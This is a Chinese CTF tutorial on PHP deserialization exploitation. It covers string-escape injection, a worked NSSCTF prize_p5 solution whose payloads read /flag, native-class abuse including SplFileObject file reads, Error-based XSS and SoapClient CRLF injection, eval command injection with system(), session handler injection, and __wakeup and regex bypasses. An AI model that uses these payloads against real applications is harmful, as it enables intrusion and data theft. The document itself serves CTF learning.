它相当于执行就是这一串,所以我们上面多截取的 "; 是为了闭合前面。

O:1:"A":3:{s:4:"name";s:138:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}

然后我们看一下反序列化出来的东西,果然和我们想的是一样的,name被填充了成了hacker,然后后面逃逸age变成aa,heihei变成了hhhh,这就是增多。

object(A)#2 (3) {
  ["name"]=>
  string(138) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["age"]=>
  string(2) "aa"
  ["heihei"]=>
  string(4) "hhhh"
}

减少

这俩意思是差不多,但是这个感觉要比增加稍微难理解一点


<?php
 
class A{
    public $name = '0';
    public $age = "1";
    public $heihei = '2';
}
function eeeeeee($string){
    return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a);
echo $b;
//这是正常序列化O:1:"A":3:{s:4:"name";s:1:"0";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}
//我们还是老样子,需要age=aa,heihei=hhhh,这里提取我们需要的在修改一下
//前面加一个A用来闭合
//A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}

然后把上面那一串放到属性age看看

<?php
 
class A{
    public $name = '0';
    public $age = 'A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}';
    public $heihei = '2';
}
function eeeeeee($string){
    return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a);
echo $b;
//这里我们得到O:1:"A":3:{s:4:"name";s:1:"0";s:3:"age";s:43:"A";s:3:"age";s:1:"1";s:6:"heihei";s:1:"2";}";s:6:"heihei";s:1:"2";}
//但是我们就是要将";s:3:"age";s:43:"A ,利用减少将这一串放在name属性里面
//所以我们计划就是让这里变成,name属性里面的字符串

这里计算那一串";s:3:"age";s:43:"A的长度为19,然后使用19个ha

<?php
 
class A{
    public $name = 'hahahahahahahahahahahahahahahahahahaha';
    public $age = 'A";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}';
    public $heihei = '1';
}
function eeeeeee($string){
    return str_replace('ha', 'h', $string);
}
$a = new A();
$b= serialize($a)."\n";
echo $b;
$c = eeeeeee($b)."\n";
echo $c;
var_dump(unserialize($c));
//回显
O:1:"A":3:{s:4:"name";s:38:"hahahahahahahahahahahahahahahahahahaha";s:3:"age";s:47:"A";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:6:"heihei";s:1:"1";}
O:1:"A":3:{s:4:"name";s:38:"hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A";s:3:"age";s:2:"aa";s:6:"heihei";s:4:"hhhh";}";s:6:"heihei";s:1:"1";}

object(A)#2 (3) {
  ["name"]=>
  string(38) "hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A"
  ["age"]=>
  string(2) "aa"
  ["heihei"]=>
  string(4) "hhhh"
}

这里就不浪费时间直接讲第二串了,这一串我们可以拆分一下。

O:1:"A":3:{
s:4:"name";s:38:"hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A";
s:3:"age";s:2:"aa";
s:6:"heihei";s:4:"hhhh";}
";s:6:"heihei";s:1:"1";}

分成这五个部分,看第二部分,因为减少了,将";s:3:"age";s:47:"A包含在字符串里面了,这个就是name属性的内容了。

下面两个部分就是我们逃逸的部分。

第五部分是正常序列化的内容,但是因为前面已经正常闭合了,所以他就是变成垃圾了,不会解析。

所以回显就是这样,我们通过减少逃逸,使age为aa,heihei为hhhh。

object(A)#2 (3) {
  ["name"]=>
  string(38) "hhhhhhhhhhhhhhhhhhh";s:3:"age";s:47:"A"
  ["age"]=>
  string(2) "aa"
  ["heihei"]=>
  string(4) "hhhh"
}

然后还是用题目来讲解NSSCTF的prize_p5

<?php
error_reporting(0);
 
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

我们这里知道flag,在根目录,至于怎么知道的就跳过了,直接进入正题。


这里面定义了一个abscond方法,就是进行替换的,这个方法本没有错,错的是,可以替换成不同的长度


这里举个列,假如我们传进去的是NSSaaa,那么他经过转换就直接接收了hacker,然后aaa就逃出去了


然后他对email参数转进来的东西,进行了过滤,所以我们不能用,因为我们要传flag,然后就是phone,if(is_array($escape['phone']))这里判断他必须是一个数组,所以我们要改,最后就是在name中传方便一点。

第一种方法-增加

<?php
 
class escape
{
    public $name = '1';
    public $phone = array(1);
    public $email = '/flag';
}
$a = new escape();
echo serialize($a);
 
//O:6:"escape":3:{s:4:"name";s:1:"1";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}
//";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

生成出来是这样的,然后我们取我们需要的部分,计算这一部分的长度为53,就使用17个CTF和两个hello。

get传:?cata=1    //这里是往下触发
post传:name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=1&email=1
//然后解码就可以了

传入进去的样子就是

<?php
 
class escape{                                                                   
    public $name = 'CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';                                                 
    public $phone = '1';                                             
    public $email = '1';                          
}
function eeeeeee($string){
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
$c = eeeeeee($b);
var_dump(unserialize($c));
//回显
object(escape)#2 (3) {
  ["name"]=>
  string(114) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["phone"]=>
  array(1) {
    [0]=>
    int(1)
  }
  ["email"]=>
  string(5) "/flag"
}

第二种方法-减少

<?php
 
 class escape{
    public $name = 'OTL';
    public $phone = array(1);
    public $email = '/flag'; 
}
$a = new escape();
$b= serialize($a);
echo $b;
//O:6:"escape":3:{s:4:"name";s:3:"OTL";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}
//A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

我们还是一样先搞我们需要的,然后接下来把上面那一串放到,phone属性中。

<?php
 
 class escape{
    public $name = 'OTL';
    public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $email = '1'; 
}
$a = new escape();
$b= serialize($a);
echo $b;
//O:6:"escape":3:{s:4:"name";s:3:"OTL";s:5:"phone";s:54:"A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}";s:5:"email";s:1:"1";}

上面那一串当中,我们要减少的是";s:5:"phone";s:54:"A,通过计算知道长度为21,然后生成21个OTL_QAQ

get: ?cata=1
post:name=OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ&phone=A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&email=1

然后就可以获得flag了,解密就可以了

然后还是看一下他传进去是什么样子,和我们预想的一样。

<?php
 
class escape{                                                                   
    public $name = 'OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ';                                                 
    public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';                                             
    public $email = '1';                          
}
function eeeeeee($string){
    return str_replace('OTL_QAQ', 'hacker', $string);
}
$a = new escape();
$b= serialize($a)."\n";
echo $b;
$c = eeeeeee($b)."\n";
echo $c;
var_dump(unserialize($c));
O:6:"escape":3:{s:4:"name";s:147:"OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ";s:5:"phone";s:54:"A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}";s:5:"email";s:1:"1";}

O:6:"escape":3:{s:4:"name";s:147:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"phone";s:54:"A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}";s:5:"email";s:1:"1";}

object(escape)#2 (3) {
  ["name"]=>
  string(147) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"phone";s:54:"A"
  ["phone"]=>
  array(1) {
    [0]=>
    int(1)
  }
  ["email"]=>
  string(5) "/flag"
}

然后字符串逃逸这里就结束了。

原生类

原生类就是php自带的内置类,其实没有什么特别的,我们主要也是利用其中的魔术方法,然后在我们做题的时候接触的最多的反序列化、XSS、SSRF、XXE

我看他们的脚本,既然有了__wakeup,为什么没有__unserialize,那么__serialize之类的也要了解吧,会不会先放着,哈哈哈。

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state',
            '__unserialize',
            '__serialize',
            '__clone',
            '__sleep'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

当我们遇到这些 echo new $this->class($this->data);

或者我们看到类似像这种可以任意定义可以new类和内容,就要想到原生类。

获取文件位置

这个在我们ctf-web中,用到的挺多的,因为你肯定要知道flag的位置和名字,才能获取它。

注:以下都只能返回一个,可以使用for循环返回所有

GlobIterator

<?php

//$b = "/*p*";
//匹配根目录


$b = "*p*";
//当前目录中包含p的文件,只会回显第一个匹配到文件或者目录的名字

$a = new GlobIterator($b);
echo $a;

DirectoryIterator

<?php

//$b="/";
//返回根目录下面第一个文件或者目录的名字

$b = "glob:///*B*";
//利用glob协议匹配根目录下面文件名含B的,并返回匹配到的第一个文件名

$a = new DirectoryIterator($b);
echo $a;

 FilesystemIterator

<?php

//$b="/";
//返回根目录下面第一个文件或者目录的名字

$b = "glob:///*B*";
//利用glob协议匹配根目录下面文件名含B的,并返回匹配到的第一个文件名

$a = new FilesystemIterator($b);
echo $a;

读取文件

SplFileObject

正常只能读取一行,可以使用for循环读取所有,但是通常flag就一行

<?php

$b = "1.php";
//返回当前目录下面1.php第一行的内容,里面可以是相对路径或者绝对路径

$a = new SplFileObject($b);
echo $a;
// foreach($a as $f){
//     echo($f.'<br>');
// }

XSS

Error与Exception

主要用就是这两个类

注意: Error适用于版本7、8       Exception适用于版本5、7、8
我们这里通常是通过echo或者file_exists(),来触发他的__toString.

<?php

$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo $b;

 访问一下

<?php

$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo $b;

 访问一下,和上面一样。

 下面提供一个利用Error与Exception绕过的方法。

ReflectionMethod

可以返回注释的内容,但是必须是正确写法的注释。

<?php

class A{
    public $a;

    /**
     * @param object $aaaaa
     * @param string $aaaaa
     * @return aaaa
     */
    //afdfadsfads
    public function eee(){
        return $this-> a;
    }
}
$b = new ReflectionMethod('A',"eee");
var_dump($b->getDocComment());
//回显
string(91) "/**
     * @param object $aaaaa
     * @param string $aaaaa
     * @return aaaa
     */"

SoapClient

这里详细讲一下这个

注意:使用不了,可能是没有修改php.ini,这是windows的方法,用Everything工具,寻找php.ini,找到自己版本的php.ini,然后找到extension=soap去掉前面的分号就可以了

语法:public SoapClient :: SoapClient(mixed $wsdl ,[array $options ])

这里有两个参数wsdl和options


这里$wsdl为soap使用得wsdl文件,wsdl是描述Web Service的一种 标准格式,若将$wsdl设置为null,则表示不使用wsdl模式,这里我们通常为null。


然后$options为一个数组,里面必须有两个参数location和uri。

location => 服务地址

uri => 命名空间


我们做题的时候主要就是触发他的__call魔术方法。

接下来我们测试一下。这里的ip是我内网的ip,然后我们使用一个没有被占用的端口。

<?php

$a = new SoapClient(null, array('location'=>'http://10.140.98.123:54321',
                    'uri'=>'http://10.140.98.123:54321'));
$a -> a();

接下来我们使用nc来搞一个监听,这里使用的cmd自己下的nc,没有可以用kali自带的nc。
注意先监听,再运行这一串。

nc -lvvp 54321

POST / HTTP/1.1
Host: 10.140.98.123:54321
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.4.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://10.140.98.123:54321#a"
Content-Length: 387

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://10.140.98.123:54321" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

这些就是我们监听到的东西,然后哪里多出来的#a,就是我们进行触发__call的方法名。

我们通常都是结合使用CRLF漏洞


  1. HTTP报文的结构:状态行和首部中的每行以CRLF(\r\n)结束,首部与主体之间由一空行分隔。
  2. CRLF注入漏洞,是因为web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
  3. 攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
<?php

$a = new SoapClient(null, array('location'=>'http://10.140.98.123:54321',
                    'user_agent'=> "aaa\r\nCookie: PHPSESSID=aaaaaaaa",
                    'uri'=>'http://10.140.98.123:54321'));
$a -> a();
//我们监听得到
POST / HTTP/1.1
Host: 10.140.98.123:54321
Connection: Keep-Alive
User-Agent: aaa
Cookie: PHPSESSID=aaaaaaaa
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://10.140.98.123:54321#a"
Content-Length: 387

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://10.140.98.123:54321" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

 我们甚至可以把下面挤出去,自己创建内容,所以下面其实还利用了Content-Length。

<?php

$a = new SoapClient(null, array('location'=>'http://10.140.98.123:54321',
                    'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 10\r\n\r\n1234567890",
                    'uri'=>'http://10.140.98.123:54321'));
$a -> a();
//我监听到的
POST / HTTP/1.1
Host: 10.140.98.123:54321
Connection: Keep-Alive
User-Agent: aaa
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

1234567890
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://10.140.98.123:54321#a"
Content-Length: 387

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://10.140.98.123:54321" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

首先我们知道 HTTP报文的结构首部与主体之间由一行空行分隔


那么包括1234567890及以下的内容都成了主体,Content-Length作用就是用来指明发送给接受方的消息主体的大小,这里我们只接受10个,那么就是只接受了1234567890,那么以下多余的就没有接收了。

但是要注意不要多出总长度,不然就会因为前面的数据读取了,一直等待后面的数据到来,然后就超时了。。

具体题目可以参考我的另一篇文章2022 安询杯 babyphp

原生类的命令执行

eval("echo new $a($b());");

例如这样的,我们可以任意控制$a和$b的值。

但是这里我发现只要是内置类,然后后面他都是可以执行的。

<?php

$a = "LogicException";  //只要是内置类
$b = "system('dir'));//";  // 直接system('dir')也是可以

eval("echo new $a($b());"); 

 这时候有人就会问,那么$b()这里不是在调用一个方法吗,是的。

但是我们在写一个执行函数的时候,他将返回值,当做方法调用,例如这里我们写一个system('echo phpinfo'),他这时候就会调用phpinfo()。

Session反序列化

我们从名字就知道这个就是和session相关的,这里我们先了解一下什么session。

我们都知道cookie吧,session通常都是配合cookie使用的,但是session一般称为"会话控制",就是我们与服务器的一种更安全的对话方式。

php session工作流程

这里参考了harden13的博客

以PHP为例,理解session的原理

  1.PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID

        一.如果Cookie中存在,获取PHPSESSID

        二.如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器

  2.初始化超全局变量$_SESSION为一个空数组

  3.PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件

        一.存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中

        二.不存在该文件: session_start()创建一个PHPSESSID命名文件

  4.程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

 这里我们其实就可以知道,这里我们可以把PHP的session当做一个特殊的变量,这个变量存储的都是关于用户会话之类的信息,session只能存储单一的用户信息,但是我们这个session可以在这个应用的所有页面都是可以用的。

解下来就是这些,这里面我们主要就是了解session.serialize_handler这个。

指令含义
session.save_pathsession文件保存路径
session.save_handlersession保存形式,通常是默认为files
session.serialize_handlersession序列化存储所用处理器。默认为php。
session.upload_progress.cleanup一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled将上传文件的进度信息存在session中。默认开启。


下面都是session.serialize_handler可以设置的处理器
注:php_serialize是从5.5.4开始使用的。

处理器名称    存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

处理器-php

<?php
     
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

我们访问网页,通过session参数传入一个2,他会在一个tmp的文件夹下面生成一个文件。

那么怎么找到这个文件呢,毕竟每一个人的路径肯定有区别的,这里我们可以Everything这个工具来搜索sess_,就可以知道路径了,接下来我们看看生成了什么。

//生成的
session|s:1:"2";

竖杠的左边是他的键名,右边是他的键值。
也正是键名 + 竖线 + 经过serialize()函数序列化处理的值

 处理器-php_binary

<?php
     
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

这里就是我们使用的代码,然后传入2,这里修改了一下PHPSESSID为aaa,然后就会生成一个sess_aaa的文件。

//生成的
sessions:1:"2";

我们传进去session变量本身长度就只有8,所以对应的ascii字符是不可见的,所以session前面是还有一个字符因为不可见的缘故大家看不到。

<?php

highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsessionsessionsessionsession'] = $_GET['session'];
var_dump($SESSION); 

这里重新设置一个传一个2我们得到了。

8sessionsessionsessionsessionsessionsessionsessionsessions:1:"2";

这里因为长度够长,所以前面ascii对应的不是不可见字符,就显示出来了。

处理器-php_serialize

<?php
     
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

老样子输入一个2,它里面文件的内容是

a:1:{s:7:"session";s:1:"2";}

这里php_serialize在内部简单地直接使用 serialize/unserialize函数,他是会自动进行反序列化这就是我们需要利用的。

这里我写两个详细讲一下。

//1.php
<?php
 
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
//2.php
<?php
highlight_file(__FILE__);
 
ini_set('session.serialize_handler', 'php');
session_start();
 
class A
{
    public $a;
    public function __destruct()
    {
        echo($this->a);
    }
}

 我们这里写一串序列化的东西,看看2.php是否会输出phpinfo()

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

 首先我们从1.php传入

?session=|O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D

记住这里要加竖杠,因为第二个文件的解释器是php,我们要让前面成为键名,后面是键值,让他只解析后面的序列化好的字符串,然后这里他会写入一个PHPSESSID里面,我们带着这个PHPSESSID一个去访问下面那个文件。

 

这里我们看到属性a没有任何赋值,但是最后确实是输出了phpinfo().
我们去看看生成的文件,里面的内容是怎么样的。

a:1:{s:7:"session";s:37:"|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

php_serialize处理器是进行了一次php序列化,但是我们传入了一个|,在php处理器的理解是

这三部分

a:1:{s:7:"session";s:37:"  //键名,这个是不解析的

|  //分隔符

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}  //键值,他会自动unserialize的

题目还是参考2022 安询杯 babyphp

php反序列化绕过总结

1.绕过__wakeup

一.增加序列化属性值

php版本 PHP5<5.6.25,PHP7 < 7.0.10

在执行unserialize()函数的时候,就算有__construct()魔术方法,也会优先执行__wakeup()这个方法,所以题目中__wakeup()通常会设置一些过滤、直接退出或者间接让你退出。

绕过方法

例如我们要执行这个O:1:"A":1:{s:1:"a";s:13:"system('ls');";}

但是有__wakeup()会检查system,这是时候我们可以增加对象的属性个数来绕过,只要大于实际个数就可以了。

变成O:1:"A":2:{s:1:"a";s:13:"system('ls');";}就可以绕过了


我的理解是因为我们里面只有一个属性,然后他解析了,但是我给了他两个属性,他还没有接收到,就会先进行等待,这时候__wakeup就不会触发。

二.O变C

这里我们将序列化好的值,将O替换成C就可以有绕过wakeup的能力,但是有一个问题就是他不能有任何属性,也就意味我们只能利用它来绕过__wakeup,用来触发destruct或者construct,所以听没用的。

//exp
<?php

class AAA{
}

$a = serialize(new AAA);
$b = str_replace("O:","C:",$a);
echo $b;

//实例
<?php
class AAA{

    public $name;

    public function __wakeup(){
        die("aaa");
    }

    public function __destruct(){
        echo "hello";
    }

}
var_dump(unserialize('C:3:"AAA":0:{}'));

通过回显我们可以知道,wakeup没有触发。

object(AAA)#1 (0) {
}
hello

3. php issue#9618

这里是有人在github爆出来的一个bug可以看看这个
unserialize __wakeup bypass · Issue #9618 · php/php-src · GitHub

<?php

class A
{
    public $info;
    public $end = "1";

    public function __destruct()
    {
        $this->info->func();
        echo "A::des\n";
    }
}

class B
{
    public $znd;

    public function __wakeup()
    {
        $this->znd = "exit();";
        echo "B::wakeup\n";
    }
    
    public function __call($method, $args)
    {
        echo "B::call\n";
    }
}

unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"end";s:1:"1";}');
//这里看到end的长度从3被修改成别的长度,这里我用的是6,就会先触发别的
//回显
B::call
A::des
B::wakeup

//正常
B::wakeup
B::call
A::des

4.fast-destruct

fast-destruct绕过__wakeup,我们一般都是通过修改序列化字符串的结构来实现的。

//正常O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}
//少了} O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";
//增加一个; O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";;}
<?php

class A
{
    public $info;
    public $end = "1";

    public function __destruct()
    {
        $this->info->func();
        echo "A::des\n";
    }
}

class B
{
    public $znd;

    public function __wakeup()
    {
        $this->znd = "exit();";
        echo "B::wakeup\n";
    }
    
    public function __call($method, $args)
    {
        echo "B::call\n";
    }
}
unserialize('O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}');
//回显

//正常
B::wakeup
B::call
A::des

//减少}
B::call
A::des
B::wakeup

//增加;
B::call
A::des
B::wakeup

2.绕过正则

一.preg_match('/^O:\d+/')

有时候会正则匹配preg_match('/^O:\d+/'),这个就是匹配O:数字,这样就是不让传序列化字符串。

 绕过方法


我们这里就要利用加号来绕过过滤,因为数字1其实完整的写法是+1,所以这里我们就是在O后面这个数字前面加一个+。

二.preg_match('/^O:\d+/')2

在加号不能使用的情况下,我们可以使用数组绕过,很简单就是在序列化的时候加上array。

//EXP
<?php

class AAA{
    public $name="aaa";
}

echo serialize(array(new AAA));

//实例
<?php
class AAA{

    public $name;

    public function __destruct(){
        echo $this -> name;
    }
}
var_dump(unserialize('a:1:{i:0;O:3:"AAA":1:{s:4:"name";s:3:"aaa";}}'));

这里我们就知道了,他是有进行正常解析的。

//回显
array(1) {
  [0]=>
  object(AAA)#1 (1) {
    ["name"]=>
    string(3) "aaa"
  }
}
aaa

三.preg_match('/^[Oa]:\d+/')

这里我们不能使用+和数组来绕过

但是可以使用实现了Serializable接口的原生类来绕过,我写了一篇关于这个的

详细看这个绕过扩展

四.绕过}

如果发现有禁用}的话,其实挺开心,因为我们可以把后面所有}删除,不会影响结果的。

//实列
<?php

class AAA{
    public $name;

    public function __wakeup(){
        echo $this -> name;
    }
}

unserialize('O:3:"AAA":1:{s:4:"name";s:3:"aaa";');
//回显aaa

5.使用大小写

因为php对大小写不敏感,所以我们可以使用大小写绕过,过滤的一些类名

下面可以看到虽然类名是A,但是我们可以使用a绕过

//回显yes
<?php

class A
{
    public $name;

    public function __destruct(){
        echo $this -> name;
    }
}
$a = 'O:1:"a":1:{s:4:"name";s:3:"yes";}';
if (!preg_match('/A/',$a)){
    unserialize($a);
}else{
    echo "no";
}

3. 使用&复制

当我们要获得一些东西的时候,或者需要一些东西强制等于,我们就可以用&来复制

怎么理解呢,就是说&就是引用,让两个变量指向同一个块内存,那么他们的值绝对绝对是一样的。

下面来一个实例讲解

//exp
<?php

class A
{
    public $info;
    public $end;
}

$a =  new A;
$a -> info = &$a -> end;
echo serialize($a);

//实例
<?php

class A
{
    public $info;
    public $end;

    public function __wakeup(){
        $this -> end = mt_rand();
    }

    public function __destruct()
    {
        if($this -> info === $this -> end){
            echo "绕过";
        }
    }
}

unserialize('O:1:"A":2:{s:4:"info";N;s:3:"end";R:2;}');
//回显
绕过

4. 16进制绕过过滤

我们知道s代表字符串,但是S他是可以解析16进制的。


这里以NSSCTF的题目prize_p5为例,它里面是有可以利用原生类的地方的,我们用原生类知道flag在根目录,原生类SplFileObject 是可以读取文件的,但是他用正则匹配preg_match('/object/i',$_GET['cata'])


这题正常读取文件是
O:9:"catalogue":2:{s:5:"class";s:14:"SplFileObject ";s:4:"data";s:5:"/flag";}
绕过过滤就是
O:9:"catalogue":2:{s:5:"class";S:14:"SplFile\4fbject ";s:4:"data";s:5:"/flag";}

5. 绕过异常throw new Error()

像我们这样

<?php

class A
{
    public function __destruct()
    {
        echo "1";
    }
}
$aa = new A();

他正常程序结束,就会执行__destruct然后输出1

<?php

class A
{
    public function __destruct()
    {
        echo "1";
    }
}
$aa = new A();
throw new Error("destruct没有触发");

但是这里加上 throw new Error() 后就不会触发__destruct(),而是输出PHP Fatal error:  Uncaught Error: destruct没有触发


但是这里我们可以将new A的引用$aa设置成空,这样就可以绕过throw new Error(),详细了解可以去做NSSCTF的prize_p1

<?php

class A
{
    public function __destruct()
    {
        echo "1";
    }
}
$aa = new A();
$aa = null;
throw new Error("destruct没有触发");

6. phar绕过总结

这里我们要注意phar文件是可以任意更改后缀的,因为phar协议看的是文件的格式。
原本a.phar,我们就可以改成1.gif上传,然后用phar协议读取也是可以的。
 

限制环境中phar不能出现前面

compress.bzip://phar://相对路径或者绝对路径/a.phar/test.txt
